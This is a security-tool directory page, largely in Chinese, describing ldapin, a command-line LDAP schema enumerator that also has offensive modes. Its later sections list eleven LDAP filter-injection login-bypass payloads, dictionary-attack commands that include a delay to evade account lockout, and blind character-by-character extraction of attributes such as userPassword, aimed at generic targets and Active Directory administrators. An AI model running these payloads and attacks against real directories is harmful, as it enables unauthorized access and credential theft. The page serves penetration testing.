Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ldapin — 用于安全评估的CLI工具,执行基本LDAP任务 | Kitploit
工具/GitHubGitHub/affolter-engineering/ldapin
侦察密码攻击漏洞分析信息收集渗透测试身份验证
GitHubaffolter-engineering/ldapin

ldapin

用于安全评估的CLI工具,执行基本LDAP任务

查看仓库
1293天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ldapin

一个 CLI 工具,通过查询 LDAP 服务器的子模式来发现有效的 LDAP 字段。它直接从服务器读取 attributeTypes 和 objectClasses,因此结果始终反映服务器实际支持的内容。

功能

  • 列出所有属性类型,包括 OID、语法、基数、别名和描述
  • 列出所有对象类,包括种类(structural/auxiliary/abstract)、必需/可选属性和超类链
  • 对名称或描述进行子字符串过滤
  • 三种输出格式:table、JSON、CSV
  • 匿名和认证(简单)绑定
  • 纯 LDAP、LDAPS 和 STARTTLS

安装

Nix(推荐)

# Run directly without installing
nix run github:your-user/ldapin

# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin

对于 Nix 或 NixOS 用户,有一个可用的包。请记住,最新版本可能只存在于 unstable 频道中。

nix-env -iA nixos.lapin

从本地检出:

nix run .
nix build .

Cargo

cargo install --path .

用法

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP server URL [default: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     Bind DN (omit for anonymous bind)
  -w, --password <PASSWORD>   Bind password
  -W, --prompt-password       Prompt for bind password interactively
  -f, --filter <FILTER>       Substring filter on name or description
  -c, --object-class <NAME>   Limit to a specific object class (with -m object-classes)
  -m, --mode <MODE>           What to show: attributes, object-classes, both [default: attributes]
  -o, --output <OUTPUT>       Output format: table, json, csv [default: table]
  -b, --base-dn <BASE_DN>     Base DN to search under (required for --mode login-bypass)
      --user-attr <ATTR>      User attribute name for login-bypass probes [default: uid]
      --pass-attr <ATTR>      Password attribute name for login-bypass probes [default: userPassword]
  -u, --target-user <USER>    Target username for login-bypass probes
      --starttls              Upgrade connection with STARTTLS
      --insecure              Skip TLS certificate verification
  -h, --help                  Print help
  -V, --version               Print version

示例

列出本地服务器上的所有属性类型:

ldapin

认证并列出所有对象类:

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

查找所有与 mail 相关的属性:

ldapin -H ldap://ldap.example.org -f mail

以 JSON 格式显示所有内容:

ldapin -H ldaps://ldap.example.org -m both -o json

将所有属性导出为 CSV:

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

显示 inetOrgPerson 对象类条目:

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

使用 STARTTLS 连接:

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

使用 ForumSys 公共 LDAP 服务器进行测试

ForumSys 提供了一个免费的只读 LDAP 服务器,适合用于测试。

参数值
Hostldap.forumsys.com
Port389
Bind DNcn=read-only-admin,dc=example,dc=com
Passwordpassword
Base DNdc=example,dc=com

列出所有属性类型(匿名绑定):

ldapin -H ldap://ldap.forumsys.com

列出所有属性类型(认证):

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

列出所有对象类:

ldapin -H ldap://ldap.forumsys.com -m object-classes

显示 inetOrgPerson 对象类:

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

按名称过滤属性:

ldapin -H ldap://ldap.forumsys.com -f mail

将所有内容导出为 JSON:

ldapin -H ldap://ldap.forumsys.com -m both -o json

登录绕过测试

login-bypass 模式会探测 LDAP 服务器是否存在过滤器注入漏洞。 它构造 11 个源自已知 LDAP 注入技术的 payload,并报告 哪些 payload 返回了条目。这与存在漏洞的 Web 应用程序在 使用未经过滤的用户输入构建认证过滤器时会产生的结果相同。

# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

测试的 payload:

Payload过滤器模板
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

ForumSys 示例

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

字典攻击

brute-force 模式首先通过 LDAP 搜索解析目标用户的完整 DN,然后 对字典文件中的每一行尝试 simple_bind(dn, password),在第一次 成功时停止。

必需标志:-b / --base-dn、-u / --target-user、--wordlist。

# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# JSON output
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

进度(DN 解析、尝试次数、结果)写入 stderr;结果写入 stdout,因此 -o json 和 -o csv 可以干净地通过管道传递。

ForumSys 示例

# Create a small wordlist with the known password
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

盲属性提取

blind-extract 模式通过反复使用通配符后缀过滤器进行探测, 一次一个字符地恢复任何可读属性的值:

(&(uid=TARGET)(mail=a*))   -> no entries
(&(uid=TARGET)(mail=e*))   -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*))  -> entries found -> 'ei'
...

这是针对存在漏洞的 Web 应用程序(这些应用程序使用未经过滤的输入构建 LDAP 过滤器) 所使用的经典盲注循环的直接 LDAP 等价物。

必需标志:-b / --base-dn、-u / --target-user、--extract-attr。

# Extract the mail attribute for user "einstein"
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail

# Extract with a custom character set
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u jdoe --extract-attr userPassword \
  --charset 'abcdefghijklmnopqrstuvwxyz0123456789!@#$'

# JSON output
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail -o json

随着字符被发现,进度会写入 stderr,因此 stdout 保持干净, 便于通过管道传递或使用 -o json / -o csv。

ForumSys 示例

ldapin -H ldap://ldap.forumsys.com -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail

ldapin -H ldap://ldap.forumsys.com -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr telephoneNumber \
  --charset '0123456789-'

开发

进入一个包含 Rust 工具链、rust-analyzer、rustfmt 和 clippy 的 shell:

nix develop

然后正常构建和运行:

cargo build
cargo run -- --help

作者

  • Fabian Affolter (@fabaff)

许可证

MIT

下载工具